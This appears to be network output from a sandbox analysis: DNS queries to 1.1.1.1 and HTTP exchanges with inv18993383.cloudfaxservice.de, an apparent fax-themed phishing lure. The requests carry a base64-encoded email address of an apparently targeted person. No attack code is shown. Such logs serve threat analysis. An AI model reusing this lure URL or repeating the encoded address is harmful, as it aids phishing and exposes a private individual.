Mar 14, 2025 16:04:46.369016886 CET	53623	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:04:46.373461008 CET	53	54994	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:46.374511003 CET	53	56184	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:46.376163006 CET	53	53623	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:46.376334906 CET	53	51527	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:49.331145048 CET	55176	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:04:49.331496000 CET	62126	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:04:49.338138103 CET	53	55176	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:49.338249922 CET	53	62126	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:57.497797966 CET	53	62650	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:05.469252110 CET	54992	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:05.469525099 CET	52366	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:05.470123053 CET	56457	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:05.470364094 CET	54137	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:05.470840931 CET	54580	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:05.471321106 CET	51469	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:05.472843885 CET	58527	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:05.473062992 CET	60791	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:05.473695040 CET	60034	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:05.473922968 CET	51974	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:05.476557016 CET	53	56457	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:05.476730108 CET	53	52366	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:05.477328062 CET	53	54137	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:05.477606058 CET	53	54580	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:05.478492975 CET	53	51469	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:05.479569912 CET	53	49838	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:05.480199099 CET	53	58527	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:05.481118917 CET	53	60791	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:05.512799978 CET	53	54992	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:05.759295940 CET	53	51974	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:06.014411926 CET	53	60034	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:08.388101101 CET	50985	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:08.388365984 CET	52903	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:08.394831896 CET	53	52903	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:08.667860985 CET	53	50985	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:09.686211109 CET	62590	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:09.686400890 CET	52547	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:09.978077888 CET	53	52547	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:10.027720928 CET	53	62590	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:12.711709976 CET	63265	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:12.712152958 CET	51806	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:12.718797922 CET	53	51806	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:12.719621897 CET	53	63265	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:12.914248943 CET	53	61381	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:13.672934055 CET	55983	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:13.673122883 CET	50173	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:13.681091070 CET	53	55983	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:13.681574106 CET	53	50173	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:14.883811951 CET	59196	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:14.883936882 CET	65397	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:14.891678095 CET	53	65397	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:14.931912899 CET	53	59196	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:15.945177078 CET	58944	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:15.945748091 CET	63213	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:15.953391075 CET	53	58944	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:15.954225063 CET	53	63213	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:16.614480019 CET	53	62313	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:35.854074001 CET	138	138	192.168.2.6	192.168.2.255
Mar 14, 2025 16:05:38.124711990 CET	53	51109	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:39.622193098 CET	53	54362	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:40.989675999 CET	53	54547	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:41.685467958 CET	53	51078	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:41.867027998 CET	58125	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:41.867180109 CET	59881	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:41.876552105 CET	53	58125	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:41.878612995 CET	53	59881	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:42.882639885 CET	53465	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:42.890575886 CET	53	53465	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:44.689654112 CET	53	53090	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:44.917311907 CET	53650	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:44.924010038 CET	53	53650	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:45.930058002 CET	53650	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:45.937005043 CET	53	53650	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:46.931950092 CET	53650	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:46.938983917 CET	53	53650	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:48.941127062 CET	53650	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:48.948249102 CET	53	53650	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:52.956336975 CET	53650	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:52.963001013 CET	53	53650	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:56.978600979 CET	59629	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:56.978792906 CET	55087	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:56.985559940 CET	53	59629	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:56.985927105 CET	53	55087	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:57.990394115 CET	53012	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:57.990796089 CET	57541	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:05:57.997170925 CET	53	53012	1.1.1.1	192.168.2.6
Mar 14, 2025 16:05:57.998042107 CET	53	57541	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:00.023473978 CET	61439	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:00.030356884 CET	53	61439	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:01.036849976 CET	61439	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:01.043574095 CET	53	61439	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:02.038681030 CET	61439	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:02.045655966 CET	53	61439	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:04.053133965 CET	61439	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:04.060012102 CET	53	61439	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:08.066045046 CET	61439	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:08.072762012 CET	53	61439	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:12.966548920 CET	57674	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:12.966914892 CET	52546	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:12.976070881 CET	53	57674	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:12.977886915 CET	53	52546	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:13.993536949 CET	53275	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:14.000579119 CET	53	53275	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:16.019958019 CET	54266	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:16.027076960 CET	53	54266	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:17.020859003 CET	54266	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:17.027539015 CET	53	54266	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:18.035618067 CET	54266	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:18.042956114 CET	53	54266	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:20.036202908 CET	54266	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:20.043092966 CET	53	54266	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:24.051256895 CET	54266	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:24.058212042 CET	53	54266	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:26.103384972 CET	62385	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:26.103557110 CET	57634	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:26.132277012 CET	53	62385	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:26.135133982 CET	53	57634	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:28.978884935 CET	62015	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:28.979224920 CET	55496	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:28.985865116 CET	53	62015	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:28.986108065 CET	53	55496	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:29.992012024 CET	65171	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:29.999151945 CET	53	65171	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:32.019695044 CET	64322	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:32.026532888 CET	53	64322	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:33.028281927 CET	64322	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:33.035270929 CET	53	64322	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:34.035722017 CET	64322	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:34.042207956 CET	53	64322	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:36.051909924 CET	64322	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:36.058520079 CET	53	64322	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:40.063210011 CET	64322	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:40.069869995 CET	53	64322	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:45.056749105 CET	59198	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:45.060221910 CET	52858	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:45.063560963 CET	53	59198	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:45.066901922 CET	53	52858	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:46.083846092 CET	61849	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:46.090420961 CET	53	61849	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:48.114708900 CET	64870	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:48.121654034 CET	53	64870	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:49.116117954 CET	64870	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:49.122857094 CET	53	64870	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:50.129285097 CET	64870	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:50.136902094 CET	53	64870	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:52.134119034 CET	64870	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:52.141431093 CET	53	64870	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:56.144823074 CET	64870	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:56.151637077 CET	53	64870	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:57.003561020 CET	55405	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:57.003751993 CET	62094	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:57.010260105 CET	53	55405	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:57.010343075 CET	53	62094	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:58.018228054 CET	64537	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:58.019781113 CET	53401	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:06:58.028126955 CET	53	64537	1.1.1.1	192.168.2.6
Mar 14, 2025 16:06:58.028146029 CET	53	53401	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:00.051393986 CET	53618	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:00.058754921 CET	53	53618	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:00.985232115 CET	53	62003	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:01.054852009 CET	53618	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:01.061784983 CET	53	53618	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:02.066977024 CET	53618	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:02.073834896 CET	53	53618	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:04.067653894 CET	53618	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:04.075325012 CET	53	53618	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:08.081572056 CET	53618	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:08.088661909 CET	53	53618	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:12.973762035 CET	60600	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:12.973951101 CET	50872	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:12.980285883 CET	53	60600	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:12.980453014 CET	53	50872	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:13.989059925 CET	55453	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:13.995750904 CET	53	55453	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:16.046940088 CET	55974	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:16.053961039 CET	53	55974	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:17.060461998 CET	55974	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:17.068485975 CET	53	55974	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:18.069360971 CET	55974	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:18.076237917 CET	53	55974	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:20.082248926 CET	55974	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:20.092478037 CET	53	55974	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:24.090832949 CET	55974	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:24.097832918 CET	53	55974	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:28.103800058 CET	58417	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:28.104007959 CET	59087	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:28.110438108 CET	53	59087	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:28.110613108 CET	53	58417	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:28.980389118 CET	56785	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:28.980581999 CET	53321	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:28.987600088 CET	53	56785	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:28.988553047 CET	53	53321	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:29.129875898 CET	51905	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:29.130039930 CET	49572	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:29.136919022 CET	53	51905	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:29.137718916 CET	53	49572	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:30.005816936 CET	65286	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:30.012933969 CET	53	65286	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:31.162461996 CET	59404	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:31.169733047 CET	53	59404	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:32.034822941 CET	51085	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:32.041914940 CET	53	51085	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:32.164343119 CET	59404	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:32.171952963 CET	53	59404	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:33.064743996 CET	51085	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:33.072634935 CET	53	51085	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:33.176960945 CET	59404	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:33.184072018 CET	53	59404	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:34.066431046 CET	51085	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:34.073306084 CET	53	51085	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:35.189528942 CET	59404	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:35.197225094 CET	53	59404	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:36.082093000 CET	51085	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:36.089111090 CET	53	51085	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:39.194118023 CET	59404	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:39.203767061 CET	53	59404	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:40.086683035 CET	51085	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:40.093460083 CET	53	51085	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:43.019577980 CET	55781	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:43.019721985 CET	49201	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:43.026412964 CET	53	49201	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:43.026424885 CET	53	55781	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:44.099097013 CET	53450	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:44.099097013 CET	54615	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:44.106522083 CET	53	53450	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:44.107000113 CET	53	54615	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:44.976423979 CET	56005	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:44.976423979 CET	59218	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:44.983063936 CET	53	59218	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:44.983522892 CET	53	56005	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:45.114618063 CET	50746	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:45.121679068 CET	53	50746	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:45.989233971 CET	52318	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:45.996231079 CET	53	52318	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:47.144855976 CET	50784	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:47.151407957 CET	53	50784	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:48.022314072 CET	56216	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:48.030231953 CET	53	56216	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:48.147018909 CET	50784	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:48.153435946 CET	53	50784	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:49.023621082 CET	56216	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:49.030502081 CET	53	56216	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:49.161097050 CET	50784	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:49.167602062 CET	53	50784	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:50.037753105 CET	56216	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:50.045623064 CET	53	56216	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:51.165769100 CET	50784	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:51.172424078 CET	53	50784	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:52.051825047 CET	56216	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:52.058536053 CET	53	56216	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:55.176357985 CET	50784	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:55.183180094 CET	53	50784	1.1.1.1	192.168.2.6
Mar 14, 2025 16:07:56.065074921 CET	56216	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:07:56.071913004 CET	53	56216	1.1.1.1	192.168.2.6
Mar 14, 2025 16:08:00.069802046 CET	60292	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:08:00.069974899 CET	62567	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:08:00.076740980 CET	53	60292	1.1.1.1	192.168.2.6
Mar 14, 2025 16:08:00.076968908 CET	53	62567	1.1.1.1	192.168.2.6
Mar 14, 2025 16:08:00.977144003 CET	50351	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:08:00.977255106 CET	54399	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:08:00.984025955 CET	53	50351	1.1.1.1	192.168.2.6
Mar 14, 2025 16:08:00.984122038 CET	53	54399	1.1.1.1	192.168.2.6
Mar 14, 2025 16:08:01.080794096 CET	50057	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:08:01.087619066 CET	53	50057	1.1.1.1	192.168.2.6

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:45 UTC	742	OUT	GET /MSovS?e=YmpvZXJuLmNocmlzdGVuQGNoYWluaXEuY29t HTTP/1.1 Host: inv18993383.cloudfaxservice.de Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:45 UTC	929	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 14 Mar 2025 15:04:45 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: http://inv18993383.cloudfaxservice.de/MSovS/?e=YmpvZXJuLmNocmlzdGVuQGNoYWluaXEuY29t cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z%2Fm3QcI294IFZj1%2FlO%2FHfF6Le5Ia9LGdIKkJ1s3A38OQsY5MsG66XJlyglLY9GECWwRZAAH22wyA4iX2mK2PVS9sKw7mFiNT4CeCiZbfk8Zlyd6APaK5lkmC3gXcF0v%2BF%2BR2W7MlWA2QCiAN%2BEfdBk0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9204aa531bb65ed0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1660&min_rtt=1656&rtt_var=630&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1314&delivery_rate=1723730&cwnd=138&unsent_bytes=0&cid=9113824a9dcc2163&ts=356&x=0"
2025-03-14 15:04:45 UTC	299	IN	Data Raw: 31 32 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6e 76 31 38 39 39 33 33 38 33 2e 63 6c 6f 75 64 66 61 78 73 65 72 76 69 63 65 2e 64 65 2f 4d 53 6f 76 53 2f 3f 65 3d 59 6d 70 76 5a 58 4a 75 4c 6d 4e 6f 63 6d 6c 7a 64 47 56 75 51 47 4e 6f 59 Data Ascii: 124<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://inv18993383.cloudfaxservice.de/MSovS/?e=YmpvZXJuLmNocmlzdGVuQGNoY
2025-03-14 15:04:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:46 UTC	743	OUT	GET /MSovS/?e=YmpvZXJuLmNocmlzdGVuQGNoYWluaXEuY29t HTTP/1.1 Host: inv18993383.cloudfaxservice.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:46 UTC	1006	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:04:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=vb6esj7qvahhkk04noos50adof; path=/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nkGYK7yFGvlneV1CE8%2FGYyQ1pla5NEYEA%2Fmai4%2FyftwbZsTMnH0ZdHTdlfxhfcGW3po4QdL0A6kNDdjWH%2Bne8nquzpUgZtTDz6N6HitGGSmx6QY5HATB14sA6yKI%2BE7lGP1n4YlkcagqeQkCL5APfIY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9204aa582b54dd37-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2008&min_rtt=2004&rtt_var=761&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1315&delivery_rate=1429970&cwnd=135&unsent_bytes=0&cid=c17d9f7f1574e4d6&ts=291&x=0"
